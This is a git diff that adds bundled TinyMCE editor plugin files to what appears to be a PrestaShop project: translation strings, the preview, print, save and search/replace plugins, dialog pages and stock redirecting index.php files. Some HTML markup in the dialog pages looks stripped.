tekstbryting","text_title":"Bruk CTRL+V p\u00e5 tastaturet for \u00e5 lime inn teksten i dette vinduet."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/pl_dlg.js b/js/tiny_mce2/plugins/paste/langs/pl_dlg.js new file mode 100755 index 0000000..54fd41c --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.paste_dlg',{"word_title":"U\u017cyj CTRL+V na swojej klawiaturze \u017ceby wklei\u0107 tekst do okna.","text_linebreaks":"Zachowaj ko\u0144ce linii.","text_title":"U\u017cyj CTRL+V na swojej klawiaturze \u017ceby wklei\u0107 tekst do okna."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/pt_dlg.js b/js/tiny_mce2/plugins/paste/langs/pt_dlg.js new file mode 100755 index 0000000..c9601cf --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.paste_dlg',{"word_title":"Use CTRL+V para colar o texto na janela.","text_linebreaks":"Manter quebras de linha","text_title":"Use CTRL+V para colar o texto na janela."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/ro_dlg.js b/js/tiny_mce2/plugins/paste/langs/ro_dlg.js new file mode 100755 index 0000000..897bc01 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.paste_dlg',{"word_title":"Folose\u0219te CTRL V pentru a lipi \u00een aceast\u0103 zon\u0103.","text_linebreaks":"P\u0103streaz\u0103 separatoarele de linii.","text_title":"Folose\u0219te CTRL V pentru a lipi \u00een aceast\u0103 zon\u0103."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/ru_dlg.js b/js/tiny_mce2/plugins/paste/langs/ru_dlg.js new file mode 100755 index 0000000..b360b07 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.paste_dlg',{"word_title":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043e\u043a\u043d\u043e.","text_linebreaks":"\u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044b \u0441\u0442\u0440\u043e\u043a","text_title":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430 \u0432 \u043e\u043a\u043d\u043e."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/sk_dlg.js b/js/tiny_mce2/plugins/paste/langs/sk_dlg.js new file mode 100755 index 0000000..a3745f3 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.paste_dlg',{"word_title":"Pou\u017eite CTRL+V pre vlo\u017eenie textu do okna.","text_linebreaks":"Zachova\u0165 zalamovanie riadkov","text_title":"Pou\u017eite CTRL+V pre vlo\u017eenie textu do okna."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/sl_dlg.js b/js/tiny_mce2/plugins/paste/langs/sl_dlg.js new file mode 100755 index 0000000..eca8bd1 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.paste_dlg',{"word_title":"Uporabite kombinacijo tipk CTRL+V, da prilepite vsebino v okno.","text_linebreaks":"Obdr\u017ei prelome vrstic","text_title":"Uporabite kombinacijo tipk CTRL+V, da prilepite vsebino v okno."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/sv_dlg.js b/js/tiny_mce2/plugins/paste/langs/sv_dlg.js new file mode 100755 index 0000000..1c99e2b --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.paste_dlg',{"word_title":"Anv\u00e4nd ctrl-v p\u00e5 ditt tangentbord f\u00f6r att klistra in i detta f\u00f6nster.","text_linebreaks":"Spara radbrytningar","text_title":"Anv\u00e4nd ctrl-v p\u00e5 ditt tangentbord f\u00f6r att klistra in i detta f\u00f6nster."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/th_dlg.js b/js/tiny_mce2/plugins/paste/langs/th_dlg.js new file mode 100755 index 0000000..9616c41 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.paste_dlg',{"word_title":"Use CTRL+V on your keyboard to paste the text into the window.","text_linebreaks":"Keep linebreaks","text_title":"Use CTRL+V on your keyboard to paste the text into the window."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/tr_dlg.js b/js/tiny_mce2/plugins/paste/langs/tr_dlg.js new file mode 100755 index 0000000..16864b4 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.paste_dlg',{"word_title":"Pencereye metin yap\u0131\u015ft\u0131rmak i\u00e7in klavyeden CTRL+V i kullan\u0131n.","text_linebreaks":"Sat\u0131r kesmelerini tut","text_title":"Pencereye metin yap\u0131\u015ft\u0131rmak i\u00e7in klavyeden CTRL+V i kullan\u0131n."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/tw_dlg.js b/js/tiny_mce2/plugins/paste/langs/tw_dlg.js new file mode 100755 index 0000000..5022d8d --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.paste_dlg',{"word_title":"\u7528 Ctrl+V \u5c07\u5167\u5bb9\u8cbc\u4e0a\u3002","text_linebreaks":"\u4fdd\u7559\u63db\u884c\u7b26\u865f","text_title":"\u7528 Ctrl+V \u5c07\u5167\u5bb9\u8cbc\u4e0a\u3002"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/uk_dlg.js b/js/tiny_mce2/plugins/paste/langs/uk_dlg.js new file mode 100755 index 0000000..b623289 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.paste_dlg',{"word_title":"\u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0443 \u0432\u0456\u043a\u043d\u043e.","text_linebreaks":"\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438 \u0440\u044f\u0434\u043a\u0456\u0432","text_title":"\u0412\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0439\u0442\u0435 CTRL+V \u0434\u043b\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0443 \u0432\u0456\u043a\u043d\u043e."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/vi_dlg.js b/js/tiny_mce2/plugins/paste/langs/vi_dlg.js new file mode 100755 index 0000000..25694d9 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.paste_dlg',{"word_title":"S\u1eed d\u1ee5ng CTRL+V tr\u00ean b\u00e0n ph\u00edm \u0111\u1ec3 d\u00e1n v\u0103n b\u1ea3n v\u00e0o c\u1eeda s\u1ed5.","text_linebreaks":"Gi\u1eef ng\u1eaft d\u00f2ng","text_title":"S\u1eed d\u1ee5ng CTRL+V tr\u00ean b\u00e0n ph\u00edm \u0111\u1ec3 d\u00e1n v\u0103n b\u1ea3n v\u00e0o c\u1eeda s\u1ed5."}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/paste/langs/zh-cn_dlg.js new file mode 100755 index 0000000..4abd1a9 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.paste_dlg',{"word_title":"\u4f7f\u7528CTRL V\u7c98\u8d34\u6587\u672c\u5230\u7a97\u53e3\u4e2d\u3002","text_linebreaks":"\u4fdd\u7559\u65ad\u884c","text_title":"\u4f7f\u7528CTRL V\u7c98\u8d34\u6587\u672c\u5230\u7a97\u53e3\u4e2d\u3002"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/paste/langs/zh-tw_dlg.js new file mode 100755 index 0000000..ea2f214 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.paste_dlg',{"word_title":"\u8acb\u6309\u9375\u76e4\u4e0a\u7684 Ctrl C (\u8907\u88fd) \u8cc7\u6599\u5230\u756b\u9762\u4e0a","text_linebreaks":"\u4fdd\u7559\u6587\u7ae0\u4e2d\u7684\u63db\u884c","text_title":"\u8acb\u6309\u9375\u76e4\u4e0a\u7684 Ctrl C (\u8cbc\u4e0a) \u8cc7\u6599\u5230\u756b\u9762\u4e0a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/pastetext.htm b/js/tiny_mce2/plugins/paste/pastetext.htm new file mode 100755 index 0000000..8ccfbb9 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/pastetext.htm @@ -0,0 +1,27 @@ + + + {#paste.paste_text_desc} + + + + +
    +
    {#paste.paste_text_desc}
    + +
    + +
    + +
    + +
    {#paste_dlg.text_title}
    + + + +
    + + +
    +
    + + \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/pasteword.htm b/js/tiny_mce2/plugins/paste/pasteword.htm new file mode 100755 index 0000000..7731f39 --- /dev/null +++ b/js/tiny_mce2/plugins/paste/pasteword.htm @@ -0,0 +1,21 @@ + + + {#paste.paste_word_desc} + + + + +
    +
    {#paste.paste_word_desc}
    + +
    {#paste_dlg.word_title}
    + +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/preview/editor_plugin.js b/js/tiny_mce2/plugins/preview/editor_plugin.js new file mode 100755 index 0000000..507909c --- /dev/null +++ b/js/tiny_mce2/plugins/preview/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Preview",{init:function(a,b){var d=this,c=tinymce.explode(a.settings.content_css);d.editor=a;tinymce.each(c,function(f,e){c[e]=a.documentBaseURI.toAbsolute(f)});a.addCommand("mcePreview",function(){a.windowManager.open({file:a.getParam("plugin_preview_pageurl",b+"/preview.html"),width:parseInt(a.getParam("plugin_preview_width","550")),height:parseInt(a.getParam("plugin_preview_height","600")),resizable:"yes",scrollbars:"yes",popup_css:c?c.join(","):a.baseURI.toAbsolute("themes/"+a.settings.theme+"/skins/"+a.settings.skin+"/content.css"),inline:a.getParam("plugin_preview_inline",1)},{base:a.documentBaseURI.getURI()})});a.addButton("preview",{title:"preview.preview_desc",cmd:"mcePreview"})},getInfo:function(){return{longname:"Preview",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/preview",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("preview",tinymce.plugins.Preview)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/preview/editor_plugin_src.js b/js/tiny_mce2/plugins/preview/editor_plugin_src.js new file mode 100755 index 0000000..80f00f0 --- /dev/null +++ b/js/tiny_mce2/plugins/preview/editor_plugin_src.js @@ -0,0 +1,53 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Preview', { + init : function(ed, url) { + var t = this, css = tinymce.explode(ed.settings.content_css); + + t.editor = ed; + + // Force absolute CSS urls + tinymce.each(css, function(u, k) { + css[k] = ed.documentBaseURI.toAbsolute(u); + }); + + ed.addCommand('mcePreview', function() { + ed.windowManager.open({ + file : ed.getParam("plugin_preview_pageurl", url + "/preview.html"), + width : parseInt(ed.getParam("plugin_preview_width", "550")), + height : parseInt(ed.getParam("plugin_preview_height", "600")), + resizable : "yes", + scrollbars : "yes", + popup_css : css ? css.join(',') : ed.baseURI.toAbsolute("themes/" + ed.settings.theme + "/skins/" + ed.settings.skin + "/content.css"), + inline : ed.getParam("plugin_preview_inline", 1) + }, { + base : ed.documentBaseURI.getURI() + }); + }); + + ed.addButton('preview', {title : 'preview.preview_desc', cmd : 'mcePreview'}); + }, + + getInfo : function() { + return { + longname : 'Preview', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/preview', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('preview', tinymce.plugins.Preview); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/preview/example.html b/js/tiny_mce2/plugins/preview/example.html new file mode 100755 index 0000000..4820222 --- /dev/null +++ b/js/tiny_mce2/plugins/preview/example.html @@ -0,0 +1,28 @@ + + + + + +Example of a custom preview page + + + +Editor contents:
    +
    + +
    + + + diff --git a/js/tiny_mce2/plugins/preview/index.php b/js/tiny_mce2/plugins/preview/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/preview/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/preview/jscripts/embed.js b/js/tiny_mce2/plugins/preview/jscripts/embed.js new file mode 100755 index 0000000..6fe25de --- /dev/null +++ b/js/tiny_mce2/plugins/preview/jscripts/embed.js @@ -0,0 +1,73 @@ +/** + * This script contains embed functions for common plugins. This scripts are complety free to use for any purpose. + */ + +function writeFlash(p) { + writeEmbed( + 'D27CDB6E-AE6D-11cf-96B8-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'application/x-shockwave-flash', + p + ); +} + +function writeShockWave(p) { + writeEmbed( + '166B1BCA-3F9C-11CF-8075-444553540000', + 'http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=8,5,1,0', + 'application/x-director', + p + ); +} + +function writeQuickTime(p) { + writeEmbed( + '02BF25D5-8C17-4B23-BC80-D3488ABDDC6B', + 'http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0', + 'video/quicktime', + p + ); +} + +function writeRealMedia(p) { + writeEmbed( + 'CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA', + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0', + 'audio/x-pn-realaudio-plugin', + p + ); +} + +function writeWindowsMedia(p) { + p.url = p.src; + writeEmbed( + '6BF52A52-394A-11D3-B153-00C04F79FAA6', + 'http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701', + 'application/x-mplayer2', + p + ); +} + +function writeEmbed(cls, cb, mt, p) { + var h = '', n; + + h += ''; + + h += ' +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/preview/preview.html b/js/tiny_mce2/plugins/preview/preview.html new file mode 100755 index 0000000..c09a7f0 --- /dev/null +++ b/js/tiny_mce2/plugins/preview/preview.html @@ -0,0 +1,17 @@ + + + + + + +{#preview.preview_desc} + + + + + diff --git a/js/tiny_mce2/plugins/print/editor_plugin.js b/js/tiny_mce2/plugins/print/editor_plugin.js new file mode 100755 index 0000000..b5b3a55 --- /dev/null +++ b/js/tiny_mce2/plugins/print/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Print",{init:function(a,b){a.addCommand("mcePrint",function(){a.getWin().print()});a.addButton("print",{title:"print.print_desc",cmd:"mcePrint"})},getInfo:function(){return{longname:"Print",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/print",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("print",tinymce.plugins.Print)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/print/editor_plugin_src.js b/js/tiny_mce2/plugins/print/editor_plugin_src.js new file mode 100755 index 0000000..47e666a --- /dev/null +++ b/js/tiny_mce2/plugins/print/editor_plugin_src.js @@ -0,0 +1,34 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Print', { + init : function(ed, url) { + ed.addCommand('mcePrint', function() { + ed.getWin().print(); + }); + + ed.addButton('print', {title : 'print.print_desc', cmd : 'mcePrint'}); + }, + + getInfo : function() { + return { + longname : 'Print', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/print', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('print', tinymce.plugins.Print); +})(); diff --git a/js/tiny_mce2/plugins/print/index.php b/js/tiny_mce2/plugins/print/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/print/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/save/editor_plugin.js b/js/tiny_mce2/plugins/save/editor_plugin.js new file mode 100755 index 0000000..8e93996 --- /dev/null +++ b/js/tiny_mce2/plugins/save/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.Save",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceSave",c._save,c);a.addCommand("mceCancel",c._cancel,c);a.addButton("save",{title:"save.save_desc",cmd:"mceSave"});a.addButton("cancel",{title:"save.cancel_desc",cmd:"mceCancel"});a.onNodeChange.add(c._nodeChange,c);a.addShortcut("ctrl+s",a.getLang("save.save_desc"),"mceSave")},getInfo:function(){return{longname:"Save",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/save",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(b,a,c){var b=this.editor;if(b.getParam("save_enablewhendirty")){a.setDisabled("save",!b.isDirty());a.setDisabled("cancel",!b.isDirty())}},_save:function(){var c=this.editor,a,e,d,b;a=tinymce.DOM.get(c.id).form||tinymce.DOM.getParent(c.id,"form");if(c.getParam("save_enablewhendirty")&&!c.isDirty()){return}tinyMCE.triggerSave();if(e=c.getParam("save_onsavecallback")){if(c.execCallback("save_onsavecallback",c)){c.startContent=tinymce.trim(c.getContent({format:"raw"}));c.nodeChanged()}return}if(a){c.isNotDirty=true;if(a.onsubmit==null||a.onsubmit()!=false){a.submit()}c.nodeChanged()}else{c.windowManager.alert("Error: No form element found.")}},_cancel:function(){var a=this.editor,c,b=tinymce.trim(a.startContent);if(c=a.getParam("save_oncancelcallback")){a.execCallback("save_oncancelcallback",a);return}a.setContent(b);a.undoManager.clear();a.nodeChanged()}});tinymce.PluginManager.add("save",tinymce.plugins.Save)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/save/editor_plugin_src.js b/js/tiny_mce2/plugins/save/editor_plugin_src.js new file mode 100755 index 0000000..5ab6491 --- /dev/null +++ b/js/tiny_mce2/plugins/save/editor_plugin_src.js @@ -0,0 +1,101 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.Save', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceSave', t._save, t); + ed.addCommand('mceCancel', t._cancel, t); + + // Register buttons + ed.addButton('save', {title : 'save.save_desc', cmd : 'mceSave'}); + ed.addButton('cancel', {title : 'save.cancel_desc', cmd : 'mceCancel'}); + + ed.onNodeChange.add(t._nodeChange, t); + ed.addShortcut('ctrl+s', ed.getLang('save.save_desc'), 'mceSave'); + }, + + getInfo : function() { + return { + longname : 'Save', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/save', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + _nodeChange : function(ed, cm, n) { + var ed = this.editor; + + if (ed.getParam('save_enablewhendirty')) { + cm.setDisabled('save', !ed.isDirty()); + cm.setDisabled('cancel', !ed.isDirty()); + } + }, + + // Private methods + + _save : function() { + var ed = this.editor, formObj, os, i, elementId; + + formObj = tinymce.DOM.get(ed.id).form || tinymce.DOM.getParent(ed.id, 'form'); + + if (ed.getParam("save_enablewhendirty") && !ed.isDirty()) + return; + + tinyMCE.triggerSave(); + + // Use callback instead + if (os = ed.getParam("save_onsavecallback")) { + if (ed.execCallback('save_onsavecallback', ed)) { + ed.startContent = tinymce.trim(ed.getContent({format : 'raw'})); + ed.nodeChanged(); + } + + return; + } + + if (formObj) { + ed.isNotDirty = true; + + if (formObj.onsubmit == null || formObj.onsubmit() != false) + formObj.submit(); + + ed.nodeChanged(); + } else + ed.windowManager.alert("Error: No form element found."); + }, + + _cancel : function() { + var ed = this.editor, os, h = tinymce.trim(ed.startContent); + + // Use callback instead + if (os = ed.getParam("save_oncancelcallback")) { + ed.execCallback('save_oncancelcallback', ed); + return; + } + + ed.setContent(h); + ed.undoManager.clear(); + ed.nodeChanged(); + } + }); + + // Register plugin + tinymce.PluginManager.add('save', tinymce.plugins.Save); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/save/index.php b/js/tiny_mce2/plugins/save/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/save/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/searchreplace/css/index.php b/js/tiny_mce2/plugins/searchreplace/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/searchreplace/css/searchreplace.css b/js/tiny_mce2/plugins/searchreplace/css/searchreplace.css new file mode 100755 index 0000000..3e2eaf3 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/css/searchreplace.css @@ -0,0 +1,6 @@ +.panel_wrapper {height:85px;} +.panel_wrapper div.current {height:85px;} + +/* IE */ +* html .panel_wrapper {height:100px;} +* html .panel_wrapper div.current {height:100px;} diff --git a/js/tiny_mce2/plugins/searchreplace/editor_plugin.js b/js/tiny_mce2/plugins/searchreplace/editor_plugin.js new file mode 100755 index 0000000..165bc12 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.SearchReplacePlugin",{init:function(a,c){function b(d){window.focus();a.windowManager.open({file:c+"/searchreplace.htm",width:420+parseInt(a.getLang("searchreplace.delta_width",0)),height:170+parseInt(a.getLang("searchreplace.delta_height",0)),inline:1,auto_focus:0},{mode:d,search_string:a.selection.getContent({format:"text"}),plugin_url:c})}a.addCommand("mceSearch",function(){b("search")});a.addCommand("mceReplace",function(){b("replace")});a.addButton("search",{title:"searchreplace.search_desc",cmd:"mceSearch"});a.addButton("replace",{title:"searchreplace.replace_desc",cmd:"mceReplace"});a.addShortcut("ctrl+f","searchreplace.search_desc","mceSearch")},getInfo:function(){return{longname:"Search/Replace",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/searchreplace",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("searchreplace",tinymce.plugins.SearchReplacePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/editor_plugin_src.js b/js/tiny_mce2/plugins/searchreplace/editor_plugin_src.js new file mode 100755 index 0000000..b0c013f --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/editor_plugin_src.js @@ -0,0 +1,61 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.SearchReplacePlugin', { + init : function(ed, url) { + function open(m) { + // Keep IE from writing out the f/r character to the editor + // instance while initializing a new dialog. See: #3131190 + window.focus(); + + ed.windowManager.open({ + file : url + '/searchreplace.htm', + width : 420 + parseInt(ed.getLang('searchreplace.delta_width', 0)), + height : 170 + parseInt(ed.getLang('searchreplace.delta_height', 0)), + inline : 1, + auto_focus : 0 + }, { + mode : m, + search_string : ed.selection.getContent({format : 'text'}), + plugin_url : url + }); + }; + + // Register commands + ed.addCommand('mceSearch', function() { + open('search'); + }); + + ed.addCommand('mceReplace', function() { + open('replace'); + }); + + // Register buttons + ed.addButton('search', {title : 'searchreplace.search_desc', cmd : 'mceSearch'}); + ed.addButton('replace', {title : 'searchreplace.replace_desc', cmd : 'mceReplace'}); + + ed.addShortcut('ctrl+f', 'searchreplace.search_desc', 'mceSearch'); + }, + + getInfo : function() { + return { + longname : 'Search/Replace', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/searchreplace', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('searchreplace', tinymce.plugins.SearchReplacePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/index.php b/js/tiny_mce2/plugins/searchreplace/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/searchreplace/js/index.php b/js/tiny_mce2/plugins/searchreplace/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/js/index.php 